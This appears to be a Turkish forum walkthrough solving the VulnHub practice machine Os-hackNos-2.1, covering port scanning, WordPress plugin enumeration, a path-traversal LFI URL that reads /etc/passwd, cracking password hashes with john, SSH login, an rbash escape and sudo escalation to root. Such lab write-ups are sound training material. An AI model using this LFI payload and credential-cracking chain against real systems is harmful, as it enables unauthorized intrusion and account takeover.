hackNos: Os-hackNos-2.1 Zafiyetli Makinenin Çözümü //By Ghost

By Ghost

Katılımcı Üye
11 Tem 2013
941
2
C:\Linux
Merhabalar herkese. Uzun zamandır zafiyetli makine çözümü yapmıyordum. Bu yazıda sizlerle beraber hackNos: Os-hackNos-2.1 isimli zafiyetli makinenin çözümünü inceleyeceğiz.
APM7O5.png

https://www.vulnhub.com/entry/hacknos-os-hacknos-21,403/
5xJRdf.png

Makine ismi: Os-hackNos-2.1

Yayınlanma Tarihi: 29 Kasım 2019

Yapan: Rahul Gehlaut

Boyut/Format: 1.5GB/OVA

Zorluk: Kolay-Orta

İşletim Sistemi: Linux

Seri: hackNos

Açıklama: Makinedeki 2 flag dosyasını bul. (UserFlag-RootFlag)

Not: Başlamadan önce belirtmek isterim. Bu seriyi oluşturan kişisel VirtualBox üzerinde çalışmışlar. İndirdiğiniz zafiyetli makine VMware 'da düzgün çalışmayacaktır. VirtualBox üzerinden CTF'i çözmenizi öneririm.

7bezLT.png

Makinemizin IP adresini öğrenmek için terminale netdiscover komutunu girelim. Her zaman bunu kullanıyoruz ama tüm ağı taramak için daha iyi. Normalde arp-scan -l komutunu da kullanabilirsiniz.

uetf3k.png



Şimdi bi nmap taraması yapalım bakalım sistemimizde hangi portlar açık.
Kod:
nmap -sS -sV -O IPADRESI
txxxIz.png


Zafiyetli makinemizde ssh (22) ve http (80) portlarımız açıkmış. 80 portu bildiğiniz üzere bir web servisini dolayısıyla web sitesinin olduğunu gösteriyor. Bakalım site nasıl bişi.

v0LmvM.png



Anasayfada bişi yok gibi duruyor. Biz dirb aracımızla sitenin dizinlerinde bişiler var mı bakalım.
Kod:
dirb http://IPADRESI
iTa9xM.png



tsweb/ adında bi dizin buldu. Onunda altında neler var diye taramaya devam ederken wp... klasörlerini buldu. Buradan anlıyoruzki tsweb/ dizini bir wordpress sayfası. Bakalım anasayfasında ne var belki bişi buluruz.

NRLiVe.png


Anasayfamızda "Bug-find" başlıklı bir sayfa ile karşılaşıyoruz. Buradan anlıyorumki sistemim wordpress bir yerlerde bug var onu bulmam lazım. Hemen wpscan aracımızı kullanalım. Wordpress sistemler için kullanılabilecek en iyi araç denilebilir. Terminale dönüp aşağıdaki komutu girelim.
Kod:
wpscan --url IPADRESI/tsweb/ -e ap

-e --> enumerate
ap --> all plugins


xpjHC8.png


Taramamız bittikten sonra Plugin(s) Identified altında sadece 1 tane plugin bulmuş. Bunla alakalı bi exploit, bug var mı internette arama yapalım

vXSH7E.png



En üst sırada, bulduğumuz plugin için bir Local File Inclusion (LFI) zafiyeti ile alakalı exploit buldu. Bakalım ne varmış nasıl sömürülüyormuş.


S1saut.png

Hfp6Xb.png



"Vulnerable code:" kısmında anlatmaya çalıştığı şey, ajax_controller.php dosyasında bir $_GET isteği yapan kod parçası var. Bu GET komutu ile alakalı herhangi bir kontrol yok. Kontrolsüz bir GET isteği varsa eğer orada LFI açığından da söz edilebilir. bWapp, DVWA tarzı pentest lab'larında LFI ile alakalı örneklerde bu tarz GET parametresini sömürebiliyorduk. En bilindik ../etc/passwd dosyasını okuyorduk. Hemen aşağıda da bunla alakalı bi URL yapısını bizlere veriyor. Sitemize geri dönüp linkimizi düzenleyelim. Bakalım passwd dosyasını okuyabilecek miyiz?
Kod:
[B][COLOR=green]##[/COLOR][/B]
[B][COLOR=green]##[/COLOR][/B]
[B][COLOR=green]http://IPADRESI/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd[/COLOR][/B]
[B][COLOR=green]##[/COLOR][/B]
[B][COLOR=green]##
[/COLOR][/B]
SfQqva.png


LFI açığı sayesinde passwd dosyasını okuyabildik ve en altta flag kullanıcısının şifresi hash'li bir şekilde ortada. Bu hash'i kırabilirsek sisteme girebiliriz. Terminale dönüp hash'imizi bir dosyaya yazalım ve john aracıyla kırma işlemine geçelim.
Kod:
touch test
Kod:
echo 'HASHDEGERI' > test
Ymxv1A.png



Not: rockyou dosyası normalde arşivlenmiş haldedir. Daha önce kullanmadıysanız, aşağıdaki komutları sırayla yeni bir terminal açıp giriniz.
cd /usr/share/wordlists/
gzip -d rockyou.txt.gz


Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long test
Kod:
john --show --format=md5crypt-long test
Rvop4V.png



passwd dosyasından edindiğimiz hash değerini john aracıyla kırabildik. Şifremiz topsecret. Şimdi flag kullanıcısı için şifre elimizde olduğuna göre ssh bağlantısı yapabiliriz. Yeni bir terminal açıp aşağıdaki komutu girelim.

Kod:
ssh flag@IPADRESI
(Uyarı çıkarsa eğer yes+enter yapın)
Kod:
topsecret
FmmPmF.png



Bağlantıyı sağladık içerdeyiz şuan. :) Dizinler arası geçiş yapmak isterken restricted hatası ile karşılaştım. rbash ile alakalı bir durum. Bizde daha rahat çalışabilmek için flag kullanıcısı için bash shell ekleyelim
Kod:
python -c 'import pty;pty.spawn("/bin/bash")'
mWpzz5.png


Makinede iki adet flag dosyamız vardı. İlk'i genellikle home dizini altında bulunur. ilk flagımızı öğrenmek için home dizine gidelim.

7pb53z.png



Malesef yetki hatası aldık. Rohit dosyasına erişebilmek için ya root olmamız gerekiyor ya da rohit kullanıcısının bilgilerini öğrenmemiz gerekiyor. Bunun için sistemde uzun süren bir araştırmanın sonunda rohit bilgilerini tutan bir kayıt buldum. Log/Kayıt dosyasına ulaşmak için sırayla aşağıdaki komutları giriniz.
Kod:
cd /var/backups/passbkp/
Kod:
cat md5-hash
SZ5JvI.png



flag kullanıcısı için bulduğumuz hash ile yapısı aynı. Flag için yaptığımız şifre kırma işlemlerini rohit hash'i içinde yapalım.
Kod:
touch rohit
Kod:
echo 'HASHDEGERI' > rohit
Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt rohit
Kod:
john --show rohit
OED4RP.png



Hash'i kırma işlemi biraz uzun sürse de rohit kullanıcısı için şifreyi öğrendik. Şimdi sisteme girdiğimiz terminale geri dönüp rohit kullanıcısına geçiş yapalım.
Kod:
su rohit
Kod:
!%hack41
Kod:
cd /home/rohit
Kod:
cat user.txt
d6dp3t.png


User flag dosyamıza ulaştık. Sırada root dizini altındaki flag dosyasına ulaşmak kaldı. Bunun için root haklarına sahip olmamız gerekiyor. Bunun için terminale sudo su yazalım. rohit kullanıcısı için şifre istiyor. !%hack41 yazıp enterladığımızda root'a geçiş yaptık :) Artık dosyamızı okumak için gerekli komutları girip arkanıza yaslanabilirsiniz :)


RNDydE.png


H4ck3njoy :)
04gkaa.png




Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun :)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.